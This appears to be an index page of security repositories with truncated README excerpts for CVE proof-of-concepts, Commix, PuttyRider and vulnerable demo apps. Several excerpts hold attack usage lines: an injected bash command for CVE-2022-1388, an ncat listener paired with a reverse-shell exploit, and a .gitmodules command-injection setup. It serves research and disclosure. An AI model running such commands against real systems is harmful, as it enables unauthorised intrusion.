TransitionPlayer

This issue has been fixed for Android 14+ in June 2026 Android Security Bulletin. Click here to see the patch Writeup TODO I'll complete the writeup when I got a little free time But before that I have to fight against school work and exams I decided to complete the section before exams are...

CVE-2022-1388

CVE-2022-1388 Verificación y exploit para CVE-2022-1388 Instalación: python3 -m pip install -r requirements.txt Uso Individual : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Masivo : python3 cve.py m...

CVE-2024-31317

CVE-2024-31317 Preface A couple of days ago, I saw an analysis of the CVE-2024-31317 vulnerability posted on JD's official account. After reading it through, I found it quite interesting. Moreover, the current mainstream solutions for automotive IVI In-Vehicle Infotainment are all based on Androi...

cve-2022-30525

CVE-2022-30525 by 1vere$k Rapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning ZTP, which includes the ATP series, VPN series, and the USG FLEX series including USG20-VPN and USG20W-VPN. The vulnerability, identified as CVE-2022-30525,...

PuttyRider

PuttyRider Secuestrar sesiones de Putty para espiar la conversación e inyectar comandos de Linux. Descarga PuttyRider-bin.zip Documentación Presentación de Defcamp 2014 - pdf Presentación de Defcamp 2014 - vídeo Ejemplos Listar los procesos Putty existentes y su estado inyectado / no inyectado...

lazyweb

LazyWeb - Aplicación Web Vulnerable LazyWeb es una aplicación web de demostración diseñada para mostrar vulnerabilidades comunes del lado del servidor. Cada vulnerabilidad está categorizada con su respectiva calificación de dificultad para proporcionar una experiencia de aprendizaje integral para...

CVE-2024-37770

CVE-2024-37770 descripción Se descubrió que 14Finger v1.1 contiene una vulnerabilidad de ejecución remota de comandos RCE en la función fingerprint. Esta vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios a través de un payload manipulado. Vector de ataque Atacantes no...

CVE-2024-3273

CVE-2024-3273 Proof of Concept PoC This repository contains a Proof of Concept PoC for CVE-2024-3273, a security vulnerability discovered in D-Link NAS devices. The vulnerability allows attackers to execute arbitrary commands on vulnerable devices. Description CVE-2024-3273 is a vulnerability in...

CVE-2018-6961

CVE-2018-6961 - UNAUTHENTICATED COMMAND INJECTION VULNERABILITY This exploit works in Python2.7 - Not tested in any other version 1 Install Dependencies pip install request if don't have pip installed, just run apt-get install python-pip 2 Usage python exployt.py --rhost --interface --lhost --lpo...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Remote-Command-Execution ZeroShell 3.9.0 Remote Command Injection Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this iss...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2024-8190-unauth

CVE-2024-8190 no autenticado Descripción Combinando CVE-2024-8963 & CVE-2024-8190 - PoC para RCE no autenticado en Ivanti CSA 4.6 y anteriores. CVE-2024-8963 Path Traversal en Ivanti CSA anterior al parche 519 de la versión 4.6 permite a un atacante remoto no autenticado acceder a funcionalidades...

CVE-2016-2434

CVE-2016-2434...

CVE-2023-51385_test

Verify CVE-2023-51385 First, add the following content to /.ssh/config host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Command injection exists in the .gitmodules file statement url = ssh://echo helloworld cve.txtfoo.example.com/bar After configuration, execute the...

CVE-2018-14699

CVE-2018-14699 Inyección de comandos sin autenticación en la función enableuser de DroboAccess v2.1 Uso: Para usar, primero inicie un listener ncat -nvlp 1337 Luego ejecute el exploit ejemplo: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='host para la explotación...

Bughound

¿Qué es Bughound? Bughound es una herramienta de análisis estático de código abierto que analiza tu código y envía los resultados a Elasticsearch y Kibana para obtener información útil sobre las posibles vulnerabilidades en tu código. Bughound tiene su propia imagen Docker de Elasticsearch y Kiba...

EUVD-2026-94119

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command...

CVE-2021-38817-Remote-OS-Command-Injection

CVE-2021-38817-Remote-OS-Command-Injection Authenticated Remote OS Command Injection/Remote Code Execution in TastyIgniter v3.0.7 Sendmail web part CVE-2021-38817 An authenticated remote OS command injection vulnerability exists in the TastyIgniter v3.0.7 Restaurtant CMS Sendmail configuration me...

CVE-2020-11851

CVE-2020-11851 Remote Code Execution vulnerability on ArcSight Logger via ArcSight Management Center https://nvd.nist.gov/vuln/detail/CVE-2020-11851 Executive Summary Vulnerability Background ArcSight Logger is a comprehensive log management solution that eases compliance burdens and enables fast...